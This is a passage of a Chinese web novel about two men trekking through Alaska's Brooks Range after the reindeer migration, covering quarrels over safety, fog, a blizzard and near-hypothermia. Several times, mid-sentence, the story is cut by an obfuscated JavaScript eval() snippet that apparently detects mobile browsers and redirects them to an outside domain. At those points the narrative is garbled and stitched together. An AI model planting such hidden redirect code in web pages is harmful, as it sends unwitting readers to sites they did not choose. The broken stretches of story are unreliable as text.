“今天先住下,”章离看向两山间的凹陷处,说,“目前驯鹿群还比较分散,只有零星部分聚集在这里。可能因为前几天降了场雪,推迟了迁徙的时间。等大部队通过垭口,我们再跟上去。” 顾灯听明白了,但他又觉得章离可能是在迁就自己体力不行。他不想成为累赘,主动提议:“我来搭帐篷,你去拍东西吧。” 章离:“不用。” 顾灯以为他是不放心,又说:“我开车露营过,会搭帐篷。” “不差这点时间。”章离说完,从包里拿出帐篷布和地钉,开始工作。直到他搭完帐篷,铺好床,这才走到空旷处飞起了无人机。 已经快到蓝调时间了,太阳光变得温柔起来,给森林染上一层柔和的光影。驯鹿栖息在林地中,山雀在枝头跳跃,置身其中,给人一种童话世界的感觉。 顾灯被这一幕吸引,不由自主地往前走去。就在这时,他突然听见一阵簌簌声,一只驯鹿正在穿过森林。 看见远处的顾灯,驯鹿好奇地停了下来。 鹿在看他! 意识到这点后,顾灯一下就不敢动了,他甚至不敢用力呼吸,只是放轻脚步,好奇地打量着眼前的生灵。 好小,驯鹿体型比他想象中要小得多,他起初还以为这是幼崽,又意识到冬季不会有驯鹿出生,大概是成年驯鹿饥寒交迫熬过冬天,所以才变得瘦弱起来。 这头鹿不仅瘦,毛发也乱糟糟的,像是一片干枯的稻草。但它眼睛却很亮,黑漆漆的,透着不属于人类的纯真和懵懂。 驯鹿看了一会儿就离开了,顾灯抬脚追上去。他方向感还不错,来路都记得,但荒郊野岭也不敢走太远,一直保持在无线电能接收信号的距离。 可驯鹿动作太快,他最终还是没能追上,只得转身往回走。 就在这时,无线电通讯器里传来一阵沙沙声:“顾灯,你在哪儿?收到回复。” 顾灯:“我就在附近,马上就回去。” “别动,”章离却说,“你描述一下周围的环境,我马上来找你。” 顾灯觉得章离小题大做,他自己也能找到路回去。但章离声音比平时都要紧绷,毕竟是担心他,而且自己刚才没打招呼就走开,确实有些不对。 顾灯详细描述周围的环境,停在原地。没过多久,身后传来积雪被踩的咯吱声。 “章离,”顾灯冲他挥手,兴奋地分享着见闻,“我刚才看到了鹿!” 章离却沉着脸走到他跟前,只是问他身体有没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485266|169754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事。 顾灯说没有。 章离又说:“下次别一声不吭就走开。” “哦,”顾灯应了声,又解释,“但我知道回去的路,也没有走出无线电的联络范围。” 章离皱眉,语气严肃起来:“这也不代表就能万无一失。” “我当然不觉得就能万无一失,但是章离,你不觉得你反应太大了吗?”顾灯仰头看他,一字一句,“我是个成年人,我不可能像个小孩子一样,一举一动都要在妈妈的视线范围内。” 章离深吸一口气,他似乎还想再说什么,但最终闭眼把所有情绪都按了下去。 “先回去。”他不想再继续这个话题。 顾灯一声不吭,跟着章离的脚印前进。 短短几百米的路,章离每过一会儿就要回头看他,也不说话,仿佛只是在确定他平安无事。顾灯虽然知道章离是担心他,但也有些烦恼,章离这种反应,几乎已经称得上应激了。 二人一路走回营地,章离搭好小桌子,把积雪装进钛杯里加热。雪水融化,咕嘟咕嘟冒起泡。 章离泡了两包冻干米饭,把其中一份递给顾灯:“吃吧。” 顾灯看了他几秒,最后还是接了过来。 这情形着实有些狼狈,顾灯再不堪的时候,也没有捧着个塑料袋儿吃过东西。但人都来了这里,再讲究精致那也太矫情。 好在米饭味道还可以,顾灯赶在饭冷掉前吃光。就是美国人口味实在是重,顾灯吃完口渴得要命,又化了点儿雪水煮茶。 水喝多了的后果就是半夜尿急,顾灯本来就睡不惯帐篷,好不容易才睡着了,没想到又被尿意憋醒。 深夜的森林也不是完全安静,有各种动物和落雪的声音。顾灯迷迷糊糊睁开眼,还没下地就感到了一阵凉意,夜里气温降到零下30度,这样出去能冻掉他一层皮。 他憋了又憋,最终还是憋不住,顾灯披上最厚的羽绒服冲出睡袋,打算速战速决。 他冒着寒风,迅速跑到了厕所旁。是的,他们在这里挖了一个厕所。当地政策规定,小便可以随意,但大便必须要掩埋到一定深度才行。 还好他现在只想嘘嘘,要是大晚上还要埋屎那也太绝望。顾灯一把扯开裤子,酝酿尿意。 一秒,两秒……直到五秒过去,他又搜一下把小顾灯塞了回去。 靠,太冷了,他紧张得都尿不出来了! 其实他就没在外面尿过,睡前他出来转了一圈,也是什么都不出来。 可又实在憋得厉害,就这样暖了快一分钟,顾灯这才继续。连哄带骗还要鼓励,可小顾灯就是修得不行。 顾灯犹豫要不要再加件衣服,却不料头灯一照,面前突然多了一道人影。 “啊——!!” 顾灯被吓得叫出了声,与此同时,有什么热热的液体跟着流了出去…… 连同他的尊严,一起。 13.信任问题 顾灯拉好裤链,心如死灰地回了帐篷。章离还站在门口,一言不发地看着他。直到顾灯脱掉外套,钻进睡袋,章离这才进来,拉上帐篷拉链。狭小的空间里一片寂静,甚至能听见彼此的呼吸。 “章离。” “嗯。” “你刚才为什么要出去?” “……” “回答我。” “怕你出事。” 啪—— 是顾灯打开了帐内灯,这个动作其实是没有声音的,但章离觉得自己听见了声音。 顾灯跪在低矮的帐篷内,低头注视着章离:“商量个事儿。” “什么?”章离被光刺得眯起眼睛。 “我知道你担心我,但我希望你能给我留出一定独处空间。我不是小孩子,我能负责自己的安全问题。” 账内安静了一会儿,甚至能听见外面呼啸的风声。然后章离说:“不行。” 顾灯深深地呼吸,试图控制自己的脾气:“章离,我不是和你开玩笑,我不喜欢被人盯着。” “别的都可以,只有这点不行,”章离说,“阿拉斯加的危险性远超你的预期,除了驯鹿和山雀,这里还有刚结束冬眠饥肠辘辘的棕熊,结队捕猎的狼群。就算以上我们都没有遇到,也还可能遭遇极寒、雪崩、甚至是蚊蚁。顾灯,我明白你想要空间,但我确实不能让你离开我的视线。” 说这话时,章离的语气并没有很急切,甚至还相当平静。可他本来就长得很有压迫感,不苟言笑时,就会无形中传递出压力。 这种压力刺激着顾灯的神经,让他几乎是立刻就反驳:“我承认你说得有道理,但你这样全方位监控,根本就是不信任我的表现。” “我没有不信任你,”狭窄的内帐中,章离眼睛显得漆黑无比,他注视着顾灯,一字一句,“我相信你知道回来的路,也不会走出无线电通讯范围,我甚至认为你不会拿自己生命冒险。但你忽视了一个问题——个人能力,在荒野生存中只占一小部分而已。” 顾灯紧抿嘴唇,一言不发。 “顾灯,我知道你可能暂时很难接受,”章离放缓语气,继续说道,“可我见过太多经验丰富的求生者丧命,他们可以幸运无数次,但事故只需要发生一次,就能夺走我们的生命。” 顾灯依旧沉默着,他不喜欢这种不被信任的感觉,也不希望别人觉得自己无能。可他也确确实实无法反驳章离,如何在荒野里生存,章离比他经验多了去。 顾灯没再说话,关灯缩进了睡袋里。风声更大了,把帐篷吹得哗哗作响,仿佛地球在哭泣。 大风,极寒,还有偶尔响起的鸣叫声……周围一切无不在提醒他,这里是北极圈,阿拉斯加荒野,野生动物聚居地,方圆100公里只有他们二人的踪迹。 这本该是一个充满宿命感和治愈的场景,可他竟然和章离在吵架。 但顾灯其实也没有多生章离的气,他更多是厌恶成为累赘的自己。 他终于决定放弃创作,鼓起勇气尝试别的东西,可好像……也不能很好地完成。 除了音乐,他没有特别喜欢的领域,也不知道自己究竟想做什么事情。 早在当初创作瓶颈期,就有人建议他去演戏、或者当老板搞事业,再不济学学别的明星参加综艺,直播带货,总能找到能做的事情。以他这些年的积累,转行当然没有问题。 可顾灯不喜欢,他觉得那些都不是他想做的事情。人生短短几十年,他不想把生命浪费在不喜欢的事情里。 于是他离家出走,想要通过旅行找到答案,想要找到能让他付诸热情、甚至足以为之献出生命的东西。 第一次阿拉斯加旅行以自杀未遂告终,他又跟着章离来北极看驯鹿迁徙。自然短暂地治愈了他,可依旧无法解答自己的困境。 他依旧是个失败者,依旧什么也做不好,一事无成。 很难相信,这是他接近30岁时的境遇。 在他小时候甚至是20出头时,他想象中30岁的自己应该是坚定优雅,充满力量,正处于人生最美好的时期。 可实际上他陷入抑郁,又突然爆发了严重的人生危机,甚至比之前更加困惑、痛苦、迷茫。 在别的同龄人风风火火地奔向人生下一程时,他却在原地踏步甚至是倒退,还要回过头来处理成长期的遗留困境。 怎么会这样呢?究竟是哪里出了错?让他活成了这幅样子? 顾灯蜷缩在冰冷的睡袋里,突然感觉有点儿伤心。 · 后半夜他没怎么睡着,辗转反侧好久终于困了,又听见隔壁章离发出了动静。 起初顾灯还以为章离没睡,可后来又听见一阵痛苦的呻吟。顾灯小声叫他名字,没有得到任何回应,于是他猜测章离是做噩梦了。 过了一会儿,呻吟声消失了,只剩下一道道沉重的呼吸。又过了一会儿,章离呼吸放轻,彻底安静了下来。他的噩梦过去了。顾灯闭上眼,也跟着睡了过去。 再次醒来是因为闹铃,床边已经没有人,帐篷外传来章离做饭的声音。 太冷了,顾灯刚拉开个缝冷气就灌了进来,他重新缩回睡袋里,只伸出一只手在帐内四处摸索。 可是他衣服怎么不见了?帐篷就这么小,也不至于找不到啊。 顾灯都准备问章离了,直到他掀开旁边的睡袋,才发现衣服被章离塞进了睡袋里。 羊毛裤、抓绒衣、羽绒服……连袜子都暖呼呼的。 顾灯心情复杂地穿好衣服,拉开拉链钻了出去。只一眼,他就愣在了原地。 帐篷外的风景完全变了,昨天还是晴空万里,冰川在阳光下一眼看不见尽头。可现在他周围只有一片浓郁的雾气,能见度不超过五米,甚至连山上的垭口都消失了踪迹。 什么都看不见了,就仿佛整个世界都只剩下他自己。顾灯心跳加速,产生了一种被世界抛弃的恐惧。 城市浓雾更多是一种奇景,除了影响通行效率,其实不太会影响人们的日常生活。可荒野的浓雾却像是剥夺,浓雾隔绝了阳光和视线,让周围的一切都变得神秘莫测,仿佛随时会出现可怕的生物。 “章离。”他张嘴喊道。 幸运的是浓雾中迅速出现一抹亮橙色,是章离身上的橙色冲锋衣。 “什么事?”章离走到他跟前问。 顾灯终于松了口气:“怎么这么大的雾?” “半山腰一向多雾,一般日出后就会散。”章离抬头看向日出方向,又说,“但今天是阴天,我们可能要在浓雾中登山了。” 果不其然,早饭后雾还未散去。他们擦干露水凝结的帐篷,收起所有装备,穿上雪鞋,缓慢地朝着垭口走去。 在他们身边不远处,鹿群在母鹿的带领下陆续翻过垭口,往北冰洋沿海平原迁徙。 顾灯背着滑雪板和沉重的行李走在山脊上,他双手抓着登山杆,每一步都走得异常艰辛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489082|169754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越往上,视野就变得更差,除了他自己,顾灯几乎什么都看不清了,只能跟着章离的步伐缓慢往前。 亮橙色冲锋衣在浓雾中时隐时现,像是指引方向的灯塔。偶尔顾灯没跟上,章离就会停下来等他,又提醒他注意积雪和碎石。 就这样走了两个小时,他们终于抵达了垭口。 风吹得衣服哗哗响,但浓雾依旧没有散去。偶尔有鹿经过,又很快消失在了浓雾里。 好消息是山上积雪浓密,下降可以用滑雪板,但如何挑选路线却是一大问题。浓雾遮蔽视线,稍不注意,就会遇到暗石、冰川裂隙、甚至引发雪崩。 但再危险也要继续前进,章离在前开路,顾灯紧随其后,尽量保持不丢视线的距离。 前半段还算顺利,直到下降到半山腰时,旁边突然冲来一只驯鹿,顾灯紧急转向刹停雪板。他避开了驯鹿,却丢失了章离的踪迹。 天还是昏昏沉沉的,顾灯呼吸急促,心头逐渐浮现出恐惧。但他刚经历了一场极限运动,内啡肽和肾上腺素减轻恐惧,增加了他的信心。短暂思考了几秒,顾灯决定继续往下滑去。 刚转了一个弯,他就看到了那抹亮橙色身影。原来章离一直在前面等他,距离他不过十米的距离。顾灯松了口气,又说自己刚才遇到了一只鹿,差点儿跟丢了章离。 “别怕,”章离说,“我能看见你。” 顾灯突然愣了下。 “怎么了?”章离问。 顾灯终于回神,摇头道:“没事,走吧。” 他们光是下山就花了一个小时,滑野雪不比机压雪道,甚至不如雪场里的大粉雪。这里积雪不均,碎石嶙峋,不能有任何一点分心。 一个小时的高集中滑行,让顾灯累得脖子酸,肩膀疼,大腿肌肉僵硬,浑身上下都难受得要命。他以为他们已经到了山脚,可没想到一抬头又是一个陡坡。 原来他们只翻过了一座山,而布鲁克斯山脉宽超过100公里,哪怕他们选了相对狭窄的路段,也有几十公里的距离。 看着隐匿在大雾中的山体,顾灯心中萌生出打退堂鼓的念头。但这才是他们出发的第一天,顾灯丢不起这个脸,还是咬牙跟了上去。 一整天他们都穿行在浓雾笼罩的山区里,时而上升,时而下降,直到下午7点,终于找了个地方扎营休息。此时顾灯早已累得前胸贴后背,光速吃完一袋米饭,甚至还有些意犹未尽。 顾灯舔了舔嘴唇,发现他已经很久没有这么旺盛的食欲。 而且他突然发现,过去这一整天里,他再也没有想过什么抽象的东西,譬如人生的价值、意义、自我实现这些。摆在他面前的只有生存,跟上去,活下来,仅此而已。马斯洛还是太权威了。 吃完晚饭,顾灯脱掉厚重的登山鞋,简单洗漱,就一股脑钻进了睡袋里。 他困得要命,可一闭上眼,满脑子都是白天发生的事情。登山、滑雪、在浓雾中穿行……明明已经躺下来了,却觉得自己还在步行。 为了防熊,章离每晚都会把食物用隔味袋密封起来,挂到远离营地的地方。等他回来时顾灯已经睡着了,身体缩在木乃伊睡袋里,闭上眼,发出均匀粗重的呼吸。 对顾灯来说,果然还是太辛苦了吧。可他什么都没有说,一直紧紧跟随着自己。 章离想伸手碰碰顾灯脸颊,或者替他按摩放松身体。但最终,他只是安静地看了一会儿,然后脱掉外衣关灯睡去。 14.还好有你 顾灯是被痒醒的。有很轻的气流落在他脸上,像是有人用羽毛挠他痒痒。想挠,但手还关在睡袋里,顾灯只得往旁边蹭,睡袋摩擦发出窸窣声响,软软热热,像是压着人的身体。 顾灯睁眼,人懵了。 他几乎是贴在了章离身上,脑袋挨着人家颈窝,身体隔着睡袋压着身体。而刚才弄痒他的,竟然是章离的呼吸。 顾灯:“……” 他睡觉确实不太老实,但睡袋一裹,再不老实的人也要安分守己。 而且木乃伊睡袋为什么叫木乃伊?就是因为严严实实,把人裹得像是一个木乃伊。顾灯也是服了,明明手脚都被困住了,他竟然还能像条虫子一样蛄蛹到章离那里,都怪这天气太冷了。 还好章离没醒,顾灯挪动身体拉开距离,假装什么事情都没有发生。他还想再睡会儿,可帐篷外已经透出光亮,体内皮质醇逐渐升高,将身体从睡眠中唤醒。 完全睡不着了,顾灯干脆盯着营帐灯,心想大自然可真神奇,当初他整宿整宿地失眠,现在只不过是在野外呆了两天,就恢复了昼夜节律,晚上倒头就睡,早上不到6点就自然清醒。 又过了一会儿,闹钟终于响了,顾灯听见章离起床的动静。章离穿好衣服,又把顾灯冻了一夜的衣服塞进自己睡袋,弯腰出了帐篷。直到冰冷的衣服变得暖和,顾灯才穿上衣服出了帐篷。 今天还是阴天,而且因为风大,体感温度更低了。顾灯脸颊暴露不到一分钟,就被冻得冰冷。 他回帐篷戴上面罩,出来时看见章离拎着食物袋子返回营地。 今天还是有雾,但能见度稍微高了一些。顾灯烧上炉子,章离拆帐篷打包行李。他们在晨雾中喝完咖啡,吃掉黏糊糊的麦片,拔营继续翻过山地。 今天的路程也不轻松,大部分都是在林间穿行。滑雪板派不上用场,只能套上冰爪步行。 昨天赶路堆积的疲劳还没有得到缓解,肌肉里又有新的乳酸堆积。登山包和滑雪板的重量拽着顾灯,让他必须弯腰才能保持平衡。 而且真的很冷,只有活动起来才能勉强维持体温。一旦停下,身体就迅速被冻得僵硬。 他们经过的林地里布满积雪和乱石,偶尔有驯鹿经过,皮毛上沾着白色的霜雪。 顾灯光是跟着就累得不行,更别提在前方开路的章离。作为先锋,他需要判断路线,选择落脚点,避开雪崩和暗冰。 看着章离的身影,顾灯数次累得想要休息,但最终还是没有叫停。 他们翻过一个山头,然后下降,又继续上升……午餐也只简单吃了些干粮,又跟着驯鹿继续前进。 有一次顾灯实在累得不行,有些赌气地问章离,驯鹿怎么一点儿都不休息。章离听到后停了下来,说休息20分钟再继续。 顾灯有些尴尬:“我不是这个意思……” 虽然他确实也有点儿这方面的意思。 章离没再说话,只是放下包拿出相机,然后一边装镜头一边和他解释:“虽然不知道具体原因,但驯鹿在迁徙时不遵从昼夜活动节律。” 昼夜节律顾灯懂,简单来说就是生物钟,日出而作日入而息,世界上大部分哺乳动物都遵循这一规律。 可驯鹿不用遵守?顾灯难以置信:“你说驯鹿迁徙时不睡觉?” “也不完全,”章离说,“驯鹿也会短暂休息,但它们一天只需要睡很少的时间,大部分时间都在迁徙。” 顾灯这下彻底懂了,又暗自祈祷祈祷他们的行程不会和驯鹿迁徙一样拼命。 短暂的休息时间后,路程继续。 喝了热水,又吃了巧克力,顾灯身体恢复了一些。只是越往山顶走,气温就变得更低了,寒风如有实质地划过身体,把他雪镜弄得模糊不清。 看着镜片上模糊的白影,顾灯伸手掌心朝上,不一会儿,手套上出现几枚白色冰晶,竟然下雪了。 顾灯是南方人,哪怕后来搬到北京,也极少见到雪景。雪景罕见,再加上影视作品渲染,导致他每次看见下雪都很兴奋,觉得这是非常浪漫的场景。 但下雪代表浪漫,这仅限于城市环境。荒野里的大雪,会演变成一场可怕的危机。 刚开始还是稀疏的小雪,再加上能见度还行,而且路程已经过半,二人商量后决定继续下撤,争取在平原地区过夜。 此时时间还是下午,但天气却黑得仿佛半夜,天空堆积的黑云,昭示着一场即将抵达的暴风雪。 他们约定不要走出对方的视线距离,在这样恶劣的天气,不管哪方失联,都会造成可怕的危机。 顾灯同意了,又有些不解:“既然害怕走散,为什么不在我们之间绑条登山绳?” 他看登山者都是这么操作的,可以保护同伴的安全。 章离也有些喘了,气息很重地说:“林地地形复杂,但没有太大的垂直落差,登山绳提供防护有限。一方坠落可能会绊倒另一方,会造成不必要的危险。当然,最重要的是这里有熊,绑绳不利于逃生。” 顾灯有点儿被吓到,好半天都说不出话来。他警惕地环顾四周,害怕有棕熊出没。 “别太担心,”章离又说,“就算有熊也不太可能攻击人类,它们不喜欢陌生的东西,驯鹿更符合它们的口味。” 顾灯:“……” 这可谈不上是什么好消息。 二人在风雪中前行,顾灯起初确实有点儿惊弓之鸟,但很快就累得大脑一片空白,只知道机械地驱赶着身体。 直到现在,他不得不承认自己低估了这趟徒步的难度。昨天的浓雾让他心慌,可今天的暴雪却能让他绝望。 浓雾是对未知的害怕,更多是一种心理恐惧。可暴风雪却是实打实的威胁,大风、极寒、厚厚的积雪也在阻碍他们前进。 顾灯打起十二分精神跟着章离,偶尔因为地形或者方向丢了目标,就会害怕得不知如何是好,直到章离再次出现在视线中,才终于感到安心。 在一次下降过程中,因为视线不佳,顾灯再次跟丢了章离。 他跟着地上的痕迹下去,前方却突然传来一道吼声:“停下。” 顾灯立刻立刃刹停,雪板尾部扬起大片的粉雪。他在原地环顾四周,依旧没能发现章离。他又循着痕迹找去,发现雪板压过了一个大蘑菇雪包。雪包下头是一条暗河,章离就倒吊在暗河里,要不是滑雪板卡着岩壁,他整个人都会栽进去。 惊险程度,吓得顾灯都来不及掏出手机拍照,就立刻冲了下去。 他来到章离身边,想帮忙又不敢贸然挪动滑雪板,章离连人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“章离。” “嗯?” “抱歉,昨天对你发了脾气。” 章离已经穿戴完毕,正往头上戴雪镜,听到这话停下动作,低头看着顾灯。 他看了好一会儿,久到顾灯不得不开口问:“怎么了?” 章离这才用雪镜遮住眼睛,说:“我也有问题,我当时太急切,没有考虑过你的心情。” 顾灯本来还有点儿不舒服,听章离这么讲,就什么火气都消干净了。他摆摆手,大度道:“算了,我现在也理解了。毕竟一不留神,就真的会出问题。” 章离再次道谢。 顾灯哼了一声,面露得意:“没有我你可怎么办。” 章离点头:“我一个人没办法。” 顾灯觉得章离在胡说,依照章离的身手和经验,肯定也有办法脱困,无非就是麻烦了一些。可他也确确实实很受用,让他觉得自己至少不是累赘,不至于一事无成。 “你知道就好。”顾灯双手叉腰,胸膛高高挺起,活像一只骄傲的长尾山雀。 15.濒临失温 再次出发,雪变得更大了,能见度也跟着降低,顾灯呼出的水汽在面罩上凝结成冰。 明明前不久才休息过,可不一会儿肌肉又酸得要命。顾灯身体疲倦不已,靠着一口气撑着继续前进。 没过多久,章离说雪太大,就地扎营。此时顾灯手套和脸上都结了一层冰,他呆呆地站着,过了好一会儿才反应过来,同意了这项提议。 他们在附近的密林里扎营,章离把四块滑雪板插在迎风面,又用冰镐加固帐篷锚点。顾灯想要帮忙,一伸手却发现胳膊抖个不停。他太累了,连续多日徒步,已经远超身体负荷水平。 狂风吹得帐篷布哗哗响,厚重的雪块打在头顶,但无论如何,他们躲进帐篷,终于暂得喘息。 章离将救生毯挂在内帐外保温,又在靠出口的地方生起炉火。顾灯早已脱掉外套钻进睡袋里,他太困了,几乎一闭眼就能睡过去。 “醒醒。”有人拍他手臂。 顾灯鼻腔里嗯了声,人却没动静。 “顾灯,醒醒。”章离开始拍他脸颊。 顾灯终于掀开眼皮,声音含糊不清:“干什么啊?我好困。” “别睡,”章离说,“睡着可能会失温,你先坐起来,活动一下僵硬的身体。” “哦。”顾灯嘴上应着,人却一动不动地缩在睡袋里。 “顾灯。”章离再次出声,语气严肃起来。 “知道了,知道了。”顾灯终于钻出睡袋,有些丧气地抓了抓头发。 章离递了杯水给他,顾灯说了声谢谢,低头用水蒸气熏脸,热气散得很快,顾灯几乎把脸埋进了杯子里,才终于感受到那稀薄的暖意。 热水很快变温,顾灯低头喝了口,抬头时却对上章离愣怔的表情。 顾灯茫然:“怎么了?” 章离指了指他的脸。 “我脸怎么了?”顾灯摸了下,没感觉哪里有问题。他又打开手机前置摄像头,先是一愣,随后“噗嗤”一声笑出了声。 “搞什么啊!”他整张脸都白了,是水蒸气凝结而成的白霜。 顾灯这辈子都没经历过这么奇特的事情,用手机拍了张照片留恋,又看了眼旁边的章离:“来,咱们也拍个合影。” 章离说好,顾灯就把脑袋凑过去,和章离拍了个合影。可惜现在没网发不了朋友圈,顾灯无法和人吐槽现在的遭遇。 他们在帐篷里吃了晚饭,又烧水灌满两个保温杯,做完这一切后就迅速灭了炉火,因为要节约燃气。 雪还在下,沉甸甸地压着帐篷。吃完东西后,顾灯身体终于暖和了一些,但脚还是冷,摸起来木木麻麻的,几乎快要失去知觉。 顾灯盘腿把脚压在屁股下面,用双手暖另一只脚。可惜脚没焐热,手也变冷了。顾灯冷手揉冷脚,开始怀疑,自己当初为什么要参加这场自虐之旅。 为什么人类的身体这么脆弱?如果他是驯鹿就好了。顾灯闭上眼睛,开始想象驯鹿穿过暴风雪的场景。 它们不需要行李,不需要食物,甚至没有御寒的外衣,只凭借一副肉身,就能穿越几百公里抵达极地。 顾灯想起了自己在国内的三层大别墅,泳池、花园、健身房、录音室、衣帽间,还有各种艺术品和奢侈品。他拥有远超常人的物品,可他真的需要这么多东西吗? 他又想起自己过去的作品,发售的每一张歌曲和专辑,还有在舞台上演出的经历。可这些所谓的创作,就能够代表他吗? 如果抛下工作和财富,不谈外表、兴趣和品味,那他又是谁? 他能像斑头雁一样飞跃珠峰,像驯鹿一样穿越极地,像那只叫“E7”的雌性斑尾塍鹬一样,不吃不喝连续飞跃一万多公里,跨越太平洋从阿拉斯加抵达新西兰的土地? 不能吧,他连徒步2天都累死累活,一不小心就要失温死去。 “顾灯——顾灯——” “啊?”顾灯有些茫然地抬起头。 “醒醒,”章离说,“你已经睡了十五分钟,缓缓再睡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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气温越来越低,衣服外层已经没什么热气,羊毛袜也在降低热量传导效率。章离干脆扯下顾灯袜子,让他的脚直接挨着自己腹肌。 顾灯在章离脱他袜子时就懵了,当章离掀开衣服时,更是整个人都不知道用什么表情。他尴尬得蜷起脚趾,却无意间踩中了章离腹肌。 柔韧滚烫的感觉让他一愣,好不容易才冷下去的脸,又烧了起来。 16.驯鹿迁徙 “章离,”顾灯被他的动作吓了一跳,又羞又恼,几乎快要求饶,“还是算了吧,我已经没事了。” 章离并不回答,只是握着他的脚踝说:“我不该让你来的。” 顾灯想起这一路吃的苦,也有些委屈:“早知道这么辛苦,我也不来了。” “抱歉。”章离说。 早在顾灯提议要和他一起时,他就应该制止才是。顾灯是新人毫无经验,但他清楚这一路的困难和风险。可他私欲膨胀,反而在无形中怂恿了顾灯…… 章离沉默着,用身体温暖顾灯冰冷的双脚。 顾灯也没再说话,又过了一会儿,这才说:“等暴风雪停,我想回去。” “好,”章离说,“我帮你联系飞机。” 顾灯“嗯”了声,又问:“你还要继续吗?” “我继续。” “为什么啊?” 章离正要开口,顾灯就摇头道:“算了,我都知道了。” 章离看了顾灯一眼,没再说话,只是又伸手暖他小腿,直到顾灯双脚彻底有了温度才松开。 随后他们躺在睡袋里,安静地等着暴风雪过去。 顾灯还是很困,又睡了一刻钟。因为担心失温,章离不让他久睡。 睡一会儿又被打断,顾灯越睡越困,但也不能他一个人休息。顾灯揉了揉眼睛,强撑着精神说:“不知道雪还要下多久,你也睡会儿吧,到时间了我叫你。” “不用,”章离说,“你休息就行。” 顾灯“嗯”了声,但也没继续睡了,他有点儿不好意思。 可帐篷里的生活实在毫无乐趣,顾灯把目光范围内的物品都清点了一遍,又问章离:“你为什么不休息?担心我不叫醒你?” 章离愣了下,有些意外地摇头。 “那是为什么?” 章离解释说他要监测帐内温度,关注顶端积雪,还要预防雪崩的发生。 “这些我也可以做啊,”顾灯说,“你交给我,自己去睡就行。” “我不累……” “不行,”顾灯打断章离,又将人推倒在地,“听我的,现在睡觉。” 章离表情有些复杂,但最终败下阵来:“麻烦了。” 顾灯摆手:“你帮了我,我自然要回报你。” 章离又说了声谢谢,这才闭上了眼睛。 顾灯支起耳朵注意周围的动静,紧张的情绪逐渐逼退了睡意。等他有模有样地检查了一遍帐篷,确保没有意外发生,这才抽空看了眼章离。 男人眉头微皱,呼吸平顺,赫然已经睡去。 他就知道章离是在假客气,就算身体再好,经历了这么长的徒步肯定也要休息。章离嘴上说着不累,还不是一沾枕头就睡着了。 这么想着,顾灯居然有点儿开心。 他们轮流休息了好几轮,直到帐篷不再被风吹出恐怖的声响,压在头顶的积雪也逐渐减轻,章离拉开帐篷,外面雪小了许多,远处山体露出朦胧的身影,风速下降,于是他们拔营下撤。 脚下的雪又黏又深,哪怕穿着雪鞋也无法完全阻止身体下陷。顾灯每走一步,都要花费额外的力气把脚扒出雪地。 好在他们已经走到最后一个山头,等高线地图显示只要翻过垭口,就能滑雪抵达北方的平原地区。 这是一个令人振奋的消息,顾灯打起精神跟在章离身后,雪还在下,但和之前的暴风雪相比已经温柔许多,更像是旅途的点缀。 几百米上升,他们爬了接近两个小时。下降过程倒是十分迅速,顾灯踩着滑雪板一路往下,偶尔栽进深厚的粉雪,又把自己挖出来继续。 春分后,北半球白昼越来越长,他们所在的纬度要晚上10点多才日落。下山后天还没黑,只是雪又大了起来,他们在一处避风灌木后扎营,潦草地吃完晚饭,累得没有一句交谈,就迅速睡了过去。 从早上7点出发,到晚上10点入睡,哪怕剔除中间躲避暴风雪的时间,也走了十多个小时。 顾灯体力条早就耗光了,最后能安全下撤全靠毅力坚持,浑身上下他没一块儿肌肉不痛的,晚上困得一边吃饭一边打瞌睡。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508465|169754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他就不该来的,要不是当初冲动,他现在说不定还躺在星级酒店里过着惬意的生活,网络、美食,在暖气充足的房间里穿着轻薄的睡衣,隔着窗户欣赏大雪。 他如果不来,也不会变得像个野人,三天不洗澡,吃饭狼吞虎咽,形象全无,累得半倒头就睡。 再也不徒步了!他明天就回去!! 睡前,顾灯这样想着。 不知道是不是因为要回去太激动,顾灯第二天又提前醒了。 此时天刚蒙蒙亮,但风已经完全停了,四下寂静,顾灯听到自己呼吸的声音。橘黄的帐篷透出光亮,露出随意堆在床尾的行李。抬手时,顾灯摸到下巴上新长出的胡茬,不用照镜子,他都知道自己现在有多狼狈。 